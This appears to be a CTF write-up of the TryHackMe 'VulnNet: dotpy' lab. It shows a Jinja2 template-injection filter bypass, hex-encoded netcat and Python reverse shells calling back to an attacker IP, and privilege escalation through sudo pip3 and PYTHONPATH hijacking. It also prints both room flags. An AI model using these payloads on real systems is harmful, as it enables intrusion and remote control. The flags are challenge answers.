Enumeration

Port Scan

# Nmap 7.80 scan initiated Wed Apr  7 20:55:28 2021 as: nmap -sV -sC -oA nmap/output vulnnetdotpy.thm
Nmap scan report for vulnnetdotpy.thm (10.10.6.225)
Host is up (0.052s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-title: VulnNet Entertainment -  Login  | Discover
|_Requested resource was http://vulnnetdotpy.thm:8080/login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  7 20:55:41 2021 -- 1 IP address (1 host up) scanned in 12.18 seconds

Accessing the website

688d62f0867700478bab8d789583eebc.png

SSTI

Ran Nikto Scan:

8585698d47ac9bc1028fd263b42a80b8.png

The webpage is apparently vulnerable to XSS.

Let’s try it out:

14c83bf029e913c61bb83954995860d7.png

The non-existend subdirectory get’s reflected to the page.

Let’s try if the page is vulnerable to SSTI

6cd39e70bb2faf5ad4524040948f1f90.png

Nice :)

I then followed this methodology

05745f1395da0dcdacaf9bdf0bab47e7.png

and found out that jinja template engine is being used

85fb26a9a6db93da685ee855bb59d647.png

After sending a couple of payloads, I found out that . _ and [] are filtered

The following payload (xxx.com) is bypasses the filer and is supposed to work:

id command

%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('id')%7Cattr('read')()%7D%7D

Note: URL Encoding matters!!!

show content of /home

/%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('ls%20-al%20%5Cx2fhome')%7Cattr('read')()%7D%7Dc

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

Reverse Shell Payload

linux command needs to be hex encoded

https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=bWtmaWZvIC90bXAvcDsgbmMgMTAuOS43Ljg2IDEzMzcgMDwvdG1wL3AgfCAvYmluL3NoID4gL3RtcC9wIDI%2BJjE7IHJtIC90bXAvcCDigJM%2BIGhleA

/%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x70\x3b\x20\x6e\x63\x20\x31\x30\x2e\x39\x2e\x37\x2e\x38\x36\x20\x31\x33\x33\x37\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x70\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x70\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x70\x20\xe2\x80\x93\x3e\x20\x68\x65\x78')%7Cattr('read')()%7D%7D 

After catching a reverse shell I ran the following command

web@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User web may run the following commands on vulnnet-dotpy:
    (system-adm) NOPASSWD: /usr/bin/pip3 install *

Next Steps

mkdir /tmp/shell
touch /tmp/shell/setup.py
  • place python reverse shell wthin /tmp/shell/setup.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.7.86",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
  • Run sudo -u system-adm /usr/bin/pip3 install /tmp/shell

  • Catch a shell 3c5119498b0b8d95554d66cc7622bfe4.png

  • Flag: THM{91c7547864fa1314a306f82a14cd7fb4}

Root.txt

system-adm@vulnnet-dotpy:/tmp/pip-ajvj6guw-build$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User system-adm may run the following commands on vulnnet-dotpy:
    (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
system-adm@vulnnet-dotpy:/tmp/pip-ajvj6guw-build$ 

/opt/backup.py is only writable by root

20210412231513.png

The output of sudo -l shows that the SETENV tag is set. That means you can pass an environment variable (from the context of system-adm user) when running the sudo command –> PYTHONPATH Hijacking

Content of /opt/backup.py

from datetime import datetime
from pathlib import Path
import zipfile


OBJECT_TO_BACKUP = '/home/manage'  # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups'  # The location to store the backups in
MAX_BACKUP_AMOUNT = 300  # The maximum amount of backups to have in BACKUP_DIRECTORY


object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists()  # Validate the object we are about to backup exists before we continue

# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)

# Get the amount of past backup zips in the backup directory already
existing_backups = [
    x for x in backup_directory_path.iterdir()
    if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]

# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT:  # >= because we will have another soon
    backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
    backup_to_delete.unlink()

# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
    # If the object to write is a file, write the file
    zip_file.write(
        object_to_backup_path.absolute(),
        arcname=object_to_backup_path.name,
        compress_type=zipfile.ZIP_DEFLATED
    )
elif object_to_backup_path.is_dir():
    # If the object to write is a directory, write all the files
    for file in object_to_backup_path.glob('**/*'):
        if file.is_file():
            zip_file.write(
                file.absolute(),
                arcname=str(file.relative_to(object_to_backup_path)),
                compress_type=zipfile.ZIP_DEFLATED
            )
# Close the created zip file
zip_file.close()

As you can see on the very top of the backup.py file, zipfile is imported.

So, I created a file called zipfile.py and placed a reverse shell in it.

Next I ran the following command: sudo PYTHONPATH=. /usr/bin/python3 /opt/backup.py

and received a reverse shell as root

[/images/20210413000757.png

Flag: THM{734c7c2f0a23a4f590aa8600676021fb}

With finishing VulnNet: dotpy I hit the 60 Days streak :)

[/images/20210413001337.png